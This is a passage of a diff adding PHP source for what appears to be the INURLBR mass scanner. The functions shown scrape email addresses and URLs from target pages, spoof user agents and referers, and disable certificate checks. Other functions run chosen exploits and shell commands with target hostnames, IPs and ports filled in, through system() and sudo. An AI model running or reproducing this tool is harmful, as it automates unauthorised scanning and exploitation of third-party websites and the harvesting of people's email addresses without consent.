{$_SESSION['config']['cont_valores']} {$_SESSION["c0"]}]- {$valor}\n"; + $_SESSION["config"]["resultado_valores"].="{$valor}\n"; + __plus(); + __saveValue($_SESSION["config"]["arquivo_output"], $valor); + $_SESSION['config']['cont_valores'] ++; + } + __plus(); + } + __timeSec('delay', "\n"); +} + +################################################################################ +#This function will filter and mail each url#################################### +################################################################################ + +function __filterEmailif($resultados) { + + if (is_array($resultados)) { + echo "{$_SESSION["c1"]}|_[ ! ][ INFO ]{$_SESSION["c16"]}[ FILTERING VALUE ]::{$_SESSION["c1"]}[ {$_SESSION["config"]['ifemail']} ]{$_SESSION["c0"]}\n"; + foreach ($resultados as $value) { + + $temp[] = (strstr($value, $_SESSION['config']['ifemail']) ? $value : NULL); + } + + return array_unique(array_filter($temp)); + } + + RETURN FALSE; +} + +################################################################################ +#This function extract emails################################################### +################################################################################ + +function __extractEmail($html, $url_) { + + $matches = NULL; + __plus(); + preg_match_all('/([\w\d\.\-\_]+)@([\w\d\.\_\-]+)/mi', $html, $matches); + echo "{$_SESSION["c1"]}{$_SESSION['config']['line']}{$_SESSION["c0"]}\n"; + echo "{$_SESSION["c1"]}|_[ ! ][ INFO ][URL] :: {$_SESSION["c9"]} {$url_} {$_SESSION["c0"]}\n"; + + $_matches = array_filter(array_unique(array_unique($matches[0]))); + $matches_ = (not_isnull_empty($_SESSION['config']['ifemail']) ? __filterEmailif($_matches) : $_matches); + + foreach ($matches_ as $valor) { + + if (__validateEmail($valor)) { + + echo "{$_SESSION["c1"]}|_[ + ]{$_SESSION["c0"]}[\033[01;31m {$_SESSION['config']['cont_valores']} {$_SESSION["c0"]}]- {$valor} " + . (filter_var($valor, FILTER_VALIDATE_EMAIL) ? + "{$_SESSION["c14"]}[ OK ]{$_SESSION["c0"]}" : "{$_SESSION["c16"]}[ NO ]{$_SESSION["c0"]}") . "\n"; + (filter_var($valor, FILTER_VALIDATE_EMAIL) ? $_SESSION["config"]["resultado_valores"].="{$valor}\n" : NULL); + __plus(); + (filter_var($valor, FILTER_VALIDATE_EMAIL) ? __saveValue($_SESSION["config"]["arquivo_output"], $valor) : NULL); + + $_SESSION['config']['cont_valores'] ++; + } + __plus(); + } + __timeSec('delay', "\n"); +} + +################################################################################ +#This function will filter urls each url######################################## +################################################################################ + +function __extractURLs($html, $url_) { + + $matches = NULL; + __plus(); + $reg_tag = 'href=\"|src=\"|value=\"'; + $reg = "#\b({$reg_tag}http[s]?://|{$reg_tag}ftp[s]?://){1,}?([-a-zA-Z0-9\.]+)([-a-zA-Z0-9\.]){1,}([-a-zA-Z0-9_\.\#\@\:%_/\?\=\~\-\//\!\'\(\)\s\^\:blank:\:punct:\:xdigit:\:space:\$]+)#si"; + preg_match_all($reg, $html, $matches); + echo "{$_SESSION["c1"]}{$_SESSION['config']['line']}{$_SESSION["c0"]}\n"; + echo "{$_SESSION["c1"]} |_[ INFO ][URL] {$_SESSION["c0"]}=>{$_SESSION["c9"]} {$url_} {$_SESSION["c0"]}\n"; + echo "{$_SESSION["c1"]}{$_SESSION['config']['line']}{$_SESSION["c0"]}\n"; + $matches_ = array_unique(array_filter($matches[0])); + $blacklist = $_SESSION["config"]['blacklist']; + $blacklist_ = (isset($_SESSION["config"]["webcache"])) ? str_replace('webcache.,', '', $blacklist) : $blacklist; + + foreach ($matches_ as $valor) { + + $valor = __filterURLTAG($valor); + if (__validateURL($valor) && !__validateOptions($blacklist_, $valor, 1)) { + echo "{$_SESSION["c1"]}__[ + ]{$_SESSION["c0"]}[\033[01;31m {$_SESSION["config"]['cont_url']}" + . " {$_SESSION["c9"]}]- {$valor}{$_SESSION["c0"]}\n"; + $_SESSION["config"]["resultado_valores"].="{$valor}\n"; + __plus(); + __saveValue($_SESSION["config"]["arquivo_output"], $valor) . __plus(); + $_SESSION["config"]["cont_url"] ++; + } + __plus(); + } + __timeSec('delay', "\n"); +} + +################################################################################ +#This function removes the last regular expression ta########################### +################################################################################ + +function __filterURLTAG($valor = NULL) { + + return(!is_null($valor)) ? str_replace('"', '', str_replace('href="', '', str_replace('src="', '', str_replace('value="', '', $valor)))) : NULL; +} + +################################################################################ +#Esta função irá formatar salvar urls concatenadas############################## +################################################################################ + +function __checkURLs($resultado, $url_) { + + __plus(); + $code = !is_null($_SESSION["config"]["ifcode"]) ? $_SESSION["config"]["ifcode"] : 200; + $valor = ($resultado['server']['http_code'] == $code) ? "{$_SESSION["c4"]}" : NULL; + + echo "\n{$_SESSION["c1"]} |_[ INFO ]{$_SESSION["c0"]}[{$_SESSION["c1"]} {$_SESSION['config']['cont_valores']} {$_SESSION["c0"]}]\n"; + echo "{$_SESSION["c1"]} |_[ INFO ][URL] {$_SESSION["c0"]}::{$_SESSION["c9"]}{$valor} {$url_} {$_SESSION["c0"]}\n"; + echo "{$_SESSION["c1"]} |_[ INFO ][STATUS]::{$valor} {$resultado['server']['http_code']} {$_SESSION["c0"]}\n"; + + __timeSec('delay'); + echo "{$_SESSION["c1"]}{$_SESSION['config']['line']}{$_SESSION["c0"]}"; + __plus(); + + $target_ = array('url_clean' => $url_, 'url_xpl' => $url_); + + if ($resultado == $code) { + + $_SESSION['config']['resultado_valores'].= "{$url_}\n"; + __saveValue($_SESSION["config"]["arquivo_output"], $url_) . __plus(); + __plus(); + + (not_isnull_empty($_SESSION['config']['sub-file']) && + is_array($_SESSION['config']['sub-file']) ? __subExecExploits($target_['url_xpl'], $_SESSION['config']['sub-file']) : NULL); + __plus(); + + (not_isnull_empty($_SESSION['config']['command-vul']) ? __command($_SESSION['config']['command-vul'], $target_) : NULL); + __plus(); + + (not_isnull_empty($_SESSION['config']['exploit-vul-id']) ? + __configExploitsExec($_SESSION['config']['exploit-vul-id'], $target_) : NULL); + __plus(); + } + + (not_isnull_empty($_SESSION['config']['exploit-all-id']) ? __configExploitsExec($_SESSION['config']['exploit-all-id'], $target_) : NULL); + __plus(); + + (not_isnull_empty($_SESSION['config']['command-all']) ? __command($_SESSION['config']['command-all'], $target_) : NULL); + __plus(); + + $_SESSION['config']['cont_valores'] ++; + + __plus(); +} + +################################################################################ +#This function will send the contents of the output buffer (if any)############# +################################################################################ + +function __plus() { + + ob_flush(); + flush(); +} + +################################################################################ +#FORMATTING POST################################################################ +################################################################################ + +function __convertUrlQuery($query) { + + $queryParts = explode('&', $query); + $params = array(); + $match = array(); + foreach ($queryParts as $param) { + $item = explode('=', $param); + preg_match_all("([a-zA-Z0-9]=(.*))", $param, $match); + $params[$item[0]] = ($match[1][0]); + } + + return $params; +} + +################################################################################ +#OPEN FILE BASE FOR VALIDATION################################################## +################################################################################ + +function __openFile($arquivo, $op = NULL) { + + if (isset($arquivo) && !empty($arquivo)) { + $resultadoURL = array_unique(array_filter(explode("\n", file_get_contents($arquivo)))); + + if (is_array($resultadoURL)) { + + return ($op == 1 ? $resultadoURL : __process($resultadoURL)); + } + } +} + +################################################################################ +#CATCH INFORMATION IP########################################################### +################################################################################ + +function __infoIP($ip, $op = 0) { + + /* + [longitude] => 4.9 + [latitude] => 52.3667 + [asn] => AS196752 + [offset] => 2 + [ip] => 46.19.37.0 + [area_code] => 0 + [continent_code] => EU + [dma_code] => 0 + [timezone] => Europe/Amsterdam + [country_code] => NL + [isp] => Tilaa B.V. + [country] => Netherlands + [country_code3] => NLD + */ + + preg_match_all('#\b(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})#si', $ip, $ip); + if (filter_var($ip[0][0], FILTER_VALIDATE_IP)) { + if ($op == 0) { + $request__ = __request_info("http://www.telize.com/geoip/{$ip[0][0]}", $_SESSION["config"]["proxy"], NULL); + __plus(); + return json_decode($request__['corpo'], TRUE); + } else { + $_SESSION['config']['verifica_info'] = NULL; + $request__ = __request_info("http://www.telize.com/geoip/{$ip[0][0]}", $_SESSION["config"]["proxy"], NULL); + $return = json_decode($request__['corpo'], TRUE); + __plus(); + return "{$return['city']} /{$return['country']} - {$return['country_code']} /{$return['continent_code']} , ISP: {$return['isp']}"; + } + } +} + +################################################################################ +#CAPTURE URL POSITION IN BROWSER ALEXA / RELEVANCE OF SUCH URL################## +################################################################################ + +function __positionAlexa($url) { + + $xmlSimple = simplexml_load_file("http://data.alexa.com/data?cli=10&dat=snbamz&url={$url}"); + $resultRank = $xmlSimple->SD[1]; + __plus(); + if ($resultRank) { + $retornoRank = $resultRank->REACH->attributes()->RANK; + } else { + $retornoRank = 0; + } + return $retornoRank . __plus(); +} + +################################################################################ +#GENERATE URL REFERENCE random################################################## +################################################################################ + +function __setURLReferenceRandom() { + + $dominio = array('Adzuna', 'Bixee', 'CareerBuilder', 'Craigslist', 'Dice', 'Eluta.ca', 'Hotjobs', 'JobStreet', 'Incruit', 'Indeed', 'Glassdoor', 'LinkUp', 'Monster', 'Naukri', + 'Yahoo', 'Legal', 'GoogleScholar', 'Lexis', 'Manupatra', 'Quicklaw', 'WestLaw', 'Medical', 'Bing Health', 'Bioinformatic', 'CiteAb', 'EB-eye', 'Entrez', 'mtv', 'ubuntu', + 'GenieKnows', 'GoPubMed', 'Healia', 'Healthline', 'Nextbio', 'PubGene', 'Quertle', 'Searchmedica', 'WebMD', 'News', 'BingNews', 'Daylife', 'GoogleNews', 'aol', 'microsoft', + 'MagPortal', 'Newslookup', 'Nexis', 'Topix', 'Trapit', 'YahooNews', 'People', 'Comfibook', 'Ex.plode', 'InfoSpace', 'PeekYou', 'Spock', 'Spokeo', 'WorldwideHelpers', 'iPhone', + 'Zabasearch', 'ZoomInfo', 'Fizber', 'HotPads', 'Realtor', 'Redfin', 'Rightmove', 'Trulia', 'Zillow', 'Zoopla', 'StuRents', 'globo', 'sbt', 'band', 'cnn', 'blog.inurl.com.br' + ); + + $gTLD = array('aero', 'arpa', 'biz', 'com', 'coop', 'edu', 'gov', 'info', 'int', 'mil', 'museum', 'name', 'net', 'org', 'pro', 'tel'); + + $arquivo = array('admin', 'index', 'wp-admin', 'info', 'shop', 'file', 'out', 'open', 'news', 'add', 'profile', 'search', 'open', 'photo', 'insert', 'view'); + $ext = array('exe', 'php', 'asp', 'aspx', 'jsf', 'html', 'htm', 'lua', 'log', 'cgi', 'sh', 'css', 'py', 'sql', 'xml', 'rss'); + + $pasta = array('App_Files', 'Assets', 'CFFileServlet', 'CFIDE', 'Communication', 'Computers', 'CoreAdminHome', 'CoreHome', 'Crawler', 'Creator', + 'DECOM', 'Dashboard', 'Drives', 'Dynamic', 'FCKeditor', 'Feedback', 'Files', 'Flash', 'Forms', 'Help', 'ICEcore', 'IO', 'Image', 'JPG', 'getold', + 'JSP', 'KFSI', 'Laguna', 'Login', 'Motors', 'MultiSites', 'NR', 'OCodger', 'RSS', 'Safety', 'Smarty', 'Software', 'Static', 'Stress', 'getfull', + 'Sugarcrm', 'Travel', 'UPLOAD', 'Urussanga', 'UserFiles', '__tpl', '_fckeditor', '_info', '_machine', '_plugins', '_sample', '_samples', 'postmost', + '_source', '_testcases', 'aaa', 'abelardoluz', 'aberlardoluz', 'aborto', 'about', 'aboutus', 'abuse', 'abusers', 'ac_drives', 'acabamentos', 'mail', + 'academias', 'acao', 'acartpro', 'acatalog', 'acc', 'acc_auto_del', 'acc_beep_ken', 'acc_beep_time', 'acc_ch_mail', 'acc_fc_prsc', 'accounts', 'validar', + 'acc_html_mark', 'acc_html_rand', 'acc_lan_page', 'acc_pic_html', 'acc_profol', 'acc_soft_link', 'acc_ssd_page', 'acc_syun_ei', 'german', 'intranet', 'old', + 'acc_time_go', 'acc_wbcreator', 'accept', 'accepted', 'acceso', 'access', 'accessibility', 'accessories', 'acciones', 'acclg', 'account', 'paste', 'paste22', + 'acessorios', 'acontece', 'acougueiro', 'acoustic', 'act', 'action', 'activate', 'active', 'activeden', 'activism', 'actualit', 'actuators', 'ad', 'informatica', + 'ad_division', 'ad_rate', 'adapter', 'adapters', 'adaptive', 'adaptivei', 'adatmentes', 'adbanner', 'adblock', 'adboard', 'adclick', 'add-ons', 'add', 'delete', + 'added', 'addon', 'address', 'adduser', 'adfree', 'adhoc', 'adinfo', 'adios_papa', 'adlink', 'adlinks', 'acc_folder_vw', 'acc_syun_su', + ); + + $locais = array('ac', 'ad', 'ae', 'af', 'ag', 'al', 'am', 'an', 'ao', 'aq', 'ar', 'as', 'at', 'au', 'aw', 'az', 'ba', 'bb', 'bd', 'be', 'bf', 'bg', 'bh', 'bi', 'bj', 'bm', 'bn', + 'bw', 'by', 'bz', 'ca', 'cc', 'cd', 'cf', 'cg', 'ch', 'ci', 'ck', 'cl', 'cm', 'cn', 'co', 'cr', 'cu', 'cv', 'cx', 'cy', 'cz', 'de', 'dj', 'dk', 'dm', 'do', 'dz', 'bo', 'br', + 'ec', 'ee', 'eg', 'er', 'es', 'et', 'eu', 'fi', 'fj', 'fk', 'fm', 'fo', 'fr', 'ga', 'gb', 'gd', 'ge', 'gf', 'gg', 'gh', 'gi', 'gl', 'gm', 'gn', 'gp', 'gq', 'gr', 'bs', 'bt', + 'gs', 'gt', 'gu', 'gw', 'gy', 'hk', 'hm', 'hn', 'hr', 'ht', 'hu', 'id', 'ie', 'il', 'im', 'in', 'io', 'iq', 'ir', 'is', 'it', 'je', 'jm', 'jo', 'jp', 'ke', 'kg', 'bv', + 'kh', 'ki', 'km', 'kn', 'kr', 'kw', 'ky', 'kz', 'la', 'lb', 'lc', 'li', 'lk', 'lr', 'ls', 'lt', 'lu', 'lv', 'ly', 'ma', 'mc', 'md', 'me', 'mg', 'mh', 'mk', 'ml', + 'mm', 'mn', 'mo', 'mp', 'mq', 'mr', 'ms', 'mt', 'mu', 'mv', 'mw', 'mx', 'my', 'mz', 'nb', 'nc', 'ne', 'nf', 'ng', 'ni', 'nl', 'no', 'np', 'nr', 'nu', 'nz', 'om', + 'pa', 'pe', 'pf', 'pg', 'ph', 'pk', 'pl', 'pm', 'pn', 'pr', 'ps', 'pt', 'pw', 'py', 'qa', 're', 'ro', 'ru', 'rw', 'sa', 'sb', 'sc', 'sd', 'se', 'sg', 'sh', 'si', + 'sj', 'sk', 'sl', 'sm', 'sn', 'so', 'sr', 'ss', 'st', 'su', 'sv', 'sy', 'sz', 'tc', 'td', 'tf', 'tg', 'th', 'tj', 'tk', 'tl', 'tm', 'tn', 'to', 'tr', 'tt', 'tv', + 'tw', 'tz', 'ua', 'ug', 'uk', 'um', 'us', 'uy', 'uz', 'va', 'vc', 've', 'vg', 'vi', 'vn', 'vu', 'wf', 'ws', 'ye', 'yt', 'yu', 'za', 'zm', 'zw', 'ai', + ); + return "http://www." . strtolower($dominio[rand(0, count($dominio) - 1)]) . ".{$gTLD[rand(0, count($gTLD) - 1)]}.{$locais[rand(0, count($locais) - 1)]}/{$pasta[rand(0, count($pasta) - 1)]}/{$arquivo[rand(0, count($arquivo) - 1)]}.{$ext[rand(0, count($ext) - 1)]}"; +} + +################################################################################ +#GENERATE AGENT BROWSER random################################################## +################################################################################ + +function __setUserAgentRandom() { + + $agentBrowser = array('Firefox', 'Safari', 'Opera', 'Flock', 'Internet Explorer', 'Seamonkey', 'Tor Browser', 'GNU IceCat', 'CriOS', 'TenFourFox', + 'SeaMonkey', 'B-l-i-t-z-B-O-T', 'Konqueror', 'Mobile', 'Konqueror', 'Netscape', 'Chrome', 'Dragon', 'SeaMonkey', 'Maxthon', 'IBrowse', + 'K-Meleon', 'GoogleBot', 'Konqueror', 'Minimo', 'Googlebot', 'WeltweitimnetzBrowser', 'SuperBot', 'TerrawizBot', 'YodaoBot', 'Wyzo', 'Grail', + 'PycURL', 'Galaxy', 'EnigmaFox', '008', 'ABACHOBot', 'Bimbot', 'Covario IDS', 'iCab', 'KKman', 'Oregano', 'WorldWideWeb', 'Wyzo', 'GNU IceCat', + 'Vimprobable', 'uzbl', 'Slim Browser', 'Flock', 'OmniWeb', 'Rockmelt', 'Shiira', 'Swift', 'Pale Moon', 'Camino', 'Flock', 'Galeon', 'Sylera' + ); + + $agentSistema = array('Windows 3.1', 'Windows 95', 'Windows 98', 'Windows 2000', 'Windows NT', 'Linux 2.4.22-10mdk', 'FreeBSD', + 'Windows XP', 'Windows Vista', 'Redhat Linux', 'Ubuntu', 'Fedora', 'AmigaOS', 'BackTrack Linux', 'iPad', 'BlackBerry', 'Unix', + 'CentOS Linux', 'Debian Linux', 'Macintosh', 'Android', 'iPhone', 'Windows NT 6.1', 'BeOS', 'OS 10.5', 'Nokia', 'Arch Linux', + 'Ark Linux', 'BitLinux', 'Conectiva (Mandriva)', 'CRUX Linux', 'Damn Small Linux', 'DeLi Linux', 'Ubuntu', 'BigLinux', 'Edubuntu', + 'Fluxbuntu', 'Freespire', 'GNewSense', 'Gobuntu', 'gOS', 'Mint Linux', 'Kubuntu', 'Xubuntu', 'ZeVenOS', 'Zebuntu', 'DemoLinux', + 'Dreamlinux', 'DualOS', 'eLearnix', 'Feather Linux', 'Famelix', 'FeniX', 'Gentoo', 'GoboLinux', 'GNUstep', 'Insigne Linux', + 'Kalango', 'KateOS', 'Knoppix', 'Kurumin', 'Dizinha', 'TupiServer', 'Linspire', 'Litrix', 'Mandrake', 'Mandriva', 'MEPIS', + 'Musix GNU Linux', 'Musix-BR', 'OneBase Go', 'openSuSE', 'pQui Linux', 'PCLinuxOS', 'Plaszma OS', 'Puppy Linux', 'QiLinux', + 'Red Hat Linux', 'Red Hat Enterprise Linux', 'CentOS', 'Fedora', 'Resulinux', 'Rxart', 'Sabayon Linux', 'SAM Desktop', 'Satux', + 'Slackware', 'GoblinX', 'Slax', 'Zenwalk', 'SuSE', 'Caixa Mágica', 'HP-UX', 'IRIX', 'OSF/1', 'OS-9', 'POSYS', 'QNX', 'Solaris', + 'OpenSolaris', 'SunOS', 'SCO UNIX', 'Tropix', 'EROS', 'Tru64', 'Digital UNIX', 'Ultrix', 'UniCOS', 'UNIflex', 'Microsoft Xenix', + 'z/OS', 'Xinu', 'Research Unix', 'InfernoOS' + ); + + $locais = array('cs-CZ', 'en-US', 'sk-SK', 'pt-BR', 'sq_AL', 'sq', 'ar_DZ', 'ar_BH', 'ar_EG', 'ar_IQ', 'ar_JO', + 'ar_KW', 'ar_LB', 'ar_LY', 'ar_MA', 'ar_OM', 'ar_QA', 'ar_SA', 'ar_SD', 'ar_SY', 'ar_TN', 'ar_AE', 'ar_YE', 'ar', + 'be_BY', 'be', 'bg_BG', 'bg', 'ca_ES', 'ca', 'zh_CN', 'zh_HK', 'zh_SG', 'zh_TW', 'zh', 'hr_HR', 'hr', 'cs_CZ', 'cs', + 'da_DK', 'da', 'nl_BE', 'nl_NL', 'nl', 'en_AU', 'en_CA', 'en_IN', 'en_IE', 'en_MT', 'en_NZ', 'en_PH', 'en_SG', 'en_ZA', + 'en_GB', 'en_US', 'en', 'et_EE', 'et', 'fi_FI', 'fi', 'fr_BE', 'fr_CA', 'fr_FR', 'fr_LU', 'fr_CH', 'fr', 'de_AT', 'de_DE', + 'de_LU', 'de_CH', 'de', 'el_CY', 'el_GR', 'el', 'iw_IL', 'iw', 'hi_IN', 'hu_HU', 'hu', 'is_IS', 'is', 'in_ID', 'in', 'ga_IE', + 'ga', 'it_IT', 'it_CH', 'it', 'ja_JP', 'ja_JP_JP', 'ja', 'ko_KR', 'ko', 'lv_LV', 'lv', 'lt_LT', 'lt', 'mk_MK', 'mk', 'ms_MY', + 'ms', 'mt_MT', 'mt', 'no_NO', 'no_NO_NY', 'no', 'pl_PL', 'pl', 'pt_PT', 'pt', 'ro_RO', 'ro', 'ru_RU', 'ru', 'sr_BA', 'sr_ME', + 'sr_CS', 'sr_RS', 'sr', 'sk_SK', 'sk', 'sl_SI', 'sl', 'es_AR', 'es_BO', 'es_CL', 'es_CO', 'es_CR', 'es_DO', 'es_EC', 'es_SV', + 'es_GT', 'es_HN', 'es_MX', 'es_NI', 'es_PA', 'es_PY', 'es_PE', 'es_PR', 'es_ES', 'es_US', 'es_UY', 'es_VE', 'es', 'sv_SE', + 'sv', 'th_TH', 'th_TH_TH', 'th', 'tr_TR', 'tr', 'uk_UA', 'uk', 'vi_VN', 'vi' + ); + return $agentBrowser[rand(0, count($agentBrowser) - 1)] . '/' . rand(1, 20) . '.' . rand(0, 20) . ' (' . $agentSistema[rand(0, count($agentSistema) - 1)] . ' ' . rand(1, 7) . '.' . rand(0, 9) . '; ' . $locais[rand(0, count($locais) - 1)] . ';)'; +} + +################################################################################ +#RESPONSIBLE FOR RUN COMMANDS IN TERMINAL the installation of facilities######## +################################################################################ + +function __installDepencia() { + + echo __bannerlogo() . __plus(); + echo "\n{$_SESSION["c15"]}|_[ * ]__{$_SESSION["c0"]}\n"; + echo " {$_SESSION["c15"]}|[EXTERNAL COMMAND INSTALLING PREMISES ]:: {$_SESSION["c11"]}\n"; + $dados = system("sudo apt-get install curl libcurl3 libcurl3-dev php5 php5-cli php5-curl", $dados) . __plus(); + sleep(1) . __plus(); + echo "{$_SESSION["c0"]}"; + if (empty($dados)) { + + return FALSE; + } + unset($dados); + exit(); +} + +################################################################################ +#RESPONSIBLE FOR RUN COMMANDS IN TERMINAL####################################### +################################################################################ + +function __command($commando, $alvo) { + + if (!is_null($commando)) { + + (strstr($commando, '_TARGET_') || + strstr($commando, '_TARGETFULL_') || + strstr($commando, '_TARGETIP_') || + strstr($commando, '_EXPLOIT_') || + strstr($commando, '_URI_') || + strstr($commando, '_URI_') || + strstr($commando, '_PORT_') || + strstr($commando, '_RANDOM_') ? NULL : + __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c2"]}SET PARAMETER - command correctly{$_SESSION["c0"]}\n")); + + $uri = parse_url($alvo['url_xpl']); + + $command[0] = str_replace("_TARGET_", "{$_SESSION["c8"]}" . __filterHostname($alvo['url_xpl']) . "{$_SESSION["c1"]}", $commando); + $command[0] = str_replace('_TARGETIP_', "{$_SESSION["c9"]}{$_SESSION['config']['server_ip']}{$_SESSION["c1"]}", $command[0]); + $command[0] = str_replace('_TARGETFULL_', "{$_SESSION["c14"]}{$alvo['url_clean']}{$_SESSION["c1"]}", $command[0]); + $command[0] = str_replace('_TARGETXPL_', "{$_SESSION["c14"]}{$alvo['url_xpl']}{$_SESSION["c1"]}", $command[0]); + $command[0] = str_replace("_EXPLOIT_", "{$_SESSION["c6"]}{$_SESSION['config']['exploit-command']}{$_SESSION["c1"]}", $command[0]); + $command[0] = str_replace('_URI_', "{$_SESSION["c8"]}{$uri['path']}{$_SESSION["c1"]}", $command[0]); + $command[0] = str_replace('_PORT_', "{$_SESSION["c9"]}{$alvo['url_port']}{$_SESSION["c1"]}", $command[0]); + $command[0] = str_replace('_RANDOM_', "{$_SESSION["c15"]}" . random(5) . "{$_SESSION["c1"]}", $command[0]); + + $command[0] = __crypt($command[0]); + + $command[1] = str_replace("_TARGET_", __filterHostname($alvo['url_clean']), $commando); + $command[1] = str_replace('_TARGETIP_', $_SESSION['config']['server_ip'], $command[1]); + $command[1] = str_replace('_TARGETFULL_', $alvo['url_clean'], $command[1]); + $command[1] = str_replace('_TARGETXPL_', $alvo['url_xpl'], $command[1]); + $command[1] = str_replace("_EXPLOIT_", $_SESSION['config']['exploit-command'], $command[1]); + $command[1] = str_replace("_URI_", $uri['path'], $command[1]); + $command[1] = str_replace("_PORT_", $alvo['url_port'], $command[1]); + $command[1] = str_replace("_RANDOM_", random(5), $command[1]); + $command[1] = str_replace("\n", '', str_replace("\r", '', $command[1])); + + $command[1] = __crypt($command[1]); + + echo "\n{$_SESSION["c1"]}|_[ * ]__\n"; + echo " |[ EXTERNAL COMMAND ]:: {$command[0]}{$_SESSION["c11"]}\n"; + $_ = array(0 => ($_SESSION['config']['popup']) ? 'sudo xterm -geometry 134x50+1900+0 -title "Auxiliary Window - INURLBR / COMMAND" -e ' : NULL, 1 => ($_SESSION['config']['popup']) ? ' > /dev/null &' : NULL); + echo ($_SESSION['config']['popup'] ? "\t[!] opening auxiliary window...\n" : NULL); + $dados = system($_[0] . $command[1] . $_[1], $dados); + sleep(1) . __plus(); + + echo $_SESSION["c0"]; + } + if (empty($dados[0])) { + + return FALSE; + } + unset($dados); +} + +################################################################################ +#FILTER BY TAKING ONLY RESPONSIBLE URL HOSTNAME################################# +################################################################################ + +function __filterHostname($url) { + + $alvo_ = NULL; + //#\b((((ht|f)tps?://*)|(www|ftp)\.)[a-zA-Z0-9-\.]+)#i - 1.0 + preg_match_all('@^(?:(ht|f)tps?://*)?([^/]+)@i', $url, $alvo_); + return str_replace("/", '', str_replace("ftps:", '', str_replace("ftp:", '', str_replace("https:", '', str_replace("http:", '', $alvo_[0][0]))))); +} + +################################################################################ +#RESPONSIBLE FOR ALL REQUESTS GET / POST THE SCRIPT############################# +################################################################################ +/* + curl_multi_init — Returns a new cURL multi handle + (PHP 5) http://php.net/manual/en/function.curl-multi-init.php + */ + +function __request_info($url_, $proxy = NULL, $postDados = NULL) { + + $url_ = __crypt($url_); + $mh = curl_multi_init(); + $curl_array = array(); + $nodes = is_array($url_) ? $url_ : array($url_); + + foreach ($nodes as $i => $url) { + + $curl_array[$i] = curl_init($url); + + __plus(); + + //FORMATANDO POST & EXECUTANDO urlencode EM CADA VALOR DO POST. + if (not_isnull_empty($postDados) && is_array($postDados)) { + + foreach ($postDados as $campo => $valor) { + + $postDados_format .= "{$campo}=" . urlencode($valor) . '&'; + } + + $postDados_format = rtrim($postDados_format, '&'); + curl_setopt($curl_array[$i], CURLOPT_POST, count($postDados)); + curl_setopt($curl_array[$i], CURLOPT_POSTFIELDS, __crypt($postDados_format)); + } + + curl_setopt($curl_array[$i], CURLOPT_HTTPHEADER, array_merge(not_isnull_empty($_SESSION['config']['http-header']) ? + explode(',', __crypt($_SESSION['config']['http-header'])) : array(), array("Cookie: disclaimer_accepted=true"))); + curl_setopt($curl_array[$i], CURLOPT_USERAGENT, (not_isnull_empty($_SESSION['config']['user-agent'])) ? + __crypt($_SESSION['config']['user-agent']) : __setUserAgentRandom()); + curl_setopt($curl_array[$i], CURLOPT_REFERER, (not_isnull_empty($_SESSION['config']['url-reference'])) ? + __crypt($_SESSION['config']['url-reference']) : __setURLReferenceRandom()); + + (!is_null($proxy) ? curl_setopt($curl_array[$i], CURLOPT_PROXY, $proxy) : NULL); + (!is_null($_SESSION['config']['verifica_info'])) ? curl_setopt($curl_array[$i], CURLOPT_HEADER, 1) : NULL; + (!is_null($_SESSION['config']['verifica_info']) && __validateOptions('3,6', $_SESSION['config']['debug']) ? + curl_setopt($curl_array[$i], CURLOPT_VERBOSE, 1) : NULL); + + __plus(); + curl_setopt($curl_array[$i], CURLOPT_SSL_VERIFYPEER, 0); + curl_setopt($curl_array[$i], CURLOPT_SSL_VERIFYHOST, 0); + curl_setopt($curl_array[$i], CURLOPT_FRESH_CONNECT, 1); + curl_setopt($curl_array[$i], CURLOPT_RETURNTRANSFER, 1); + + curl_setopt($curl_array[$i], CURLOPT_CONNECTTIMEOUT, not_isnull_empty($_SESSION['config']['time-out']) ? + $_SESSION['config']['time-out'] : 5); + + curl_setopt($curl_array[$i], CURLOPT_TIMEOUT, not_isnull_empty($_SESSION['config']['time-out']) ? + $_SESSION['config']['time-out'] : 5); + + curl_setopt($curl_array[$i], CURLOPT_COOKIEFILE, not_isnull_empty($_SESSION['config']['file-cookie']) ? + $_SESSION['config']['file-cookie'] : 'cookie.txt'); + + curl_setopt($curl_array[$i], CURLOPT_COOKIEJAR, not_isnull_empty($_SESSION['config']['file-cookie']) ? + $_SESSION['config']['file-cookie'] : 'cookie.txt'); + + curl_multi_add_handle($mh, $curl_array[$i]); + } + $running = NULL; + do { + + usleep(100); + curl_multi_exec($mh, $running); + } while ($running > 0); + $ret = array(); + foreach ($nodes as $i => $url) { + + $ret[0] = curl_multi_getcontent($curl_array[$i]); + $ret[1] = curl_getinfo($curl_array[$i]); + $ret[2] = curl_error($curl_array[$i]); + } + foreach ($nodes as $i => $url) { + curl_multi_remove_handle($mh, $curl_array[$i]); + } + + $status = NULL; + preg_match_all('(HTTP.*)', $ret[0], $status['http']); + preg_match_all('(Server:.*)', $ret[0], $status['server']); + preg_match_all('(X-Powered-By:.*)', $ret[0], $status['X-Powered-By']); + + __plus(); + $ret[3] = str_replace("\r", '', str_replace("\n", '', "{$status['http'][0][0]}, {$status['server'][0][0]} {$status['X-Powered-By'][0][0]}")); + __debug(array('debug' => "[ BODY ]{$ret[0]}", 'function' => '__request_info'), 4); + + __plus(); + __debug(array('debug' => "[ URL ]{$url_}", 'function' => '__request_info'), 2); + + __plus(); + curl_multi_close($mh) . unlink('cookie.txt'); + + __plus(); + unset($curl_array); + return isset($ret[0]) ? array('corpo' => $ret[0], 'server' => $ret[1], 'error' => $ret[2], 'info' => $ret[3]) : FALSE; +} + +################################################################################ +#CAPTURE INFORMATION SERVER AND VALIDATE FAULTS################################# +################################################################################ + +function __infoServer($url_, $postDados = NULL) { + + __plus(); + $_SESSION['config']['verifica_info'] = 1; + $resultado = __request_info($url_, $_SESSION["config"]["proxy"], $postDados); + __plus(); + if (isset($resultado['corpo'])) { + if (!is_null($_SESSION['config']['extrai-email'])) { + + __plus(); + return __extractEmail($resultado['corpo'], $url_); + } + + if (!is_null($_SESSION['config']['extrai-url'])) { + + __plus(); + return __extractURLs($resultado['corpo'], $url_); + } + + if (not_isnull_empty($_SESSION['config']['regexp-filter'])) { + + __plus(); + return __extractRegCustom($resultado['corpo'], $url_); + } + + if (not_isnull_empty($_SESSION['config']['target']) && $_SESSION['config']['tipoerro'] == 5) { + + __plus(); + return __checkURLs($resultado, $url_); + } + + $ifcode = not_isnull_empty($_SESSION['config']['ifcode']) && + strstr($resultado['server']['http_code'], $_SESSION['config']['ifcode']) ? + "CODE_HTTP_FOUND: {$_SESSION['config']['ifcode']} / " : NULL; + + + $ifredirect = 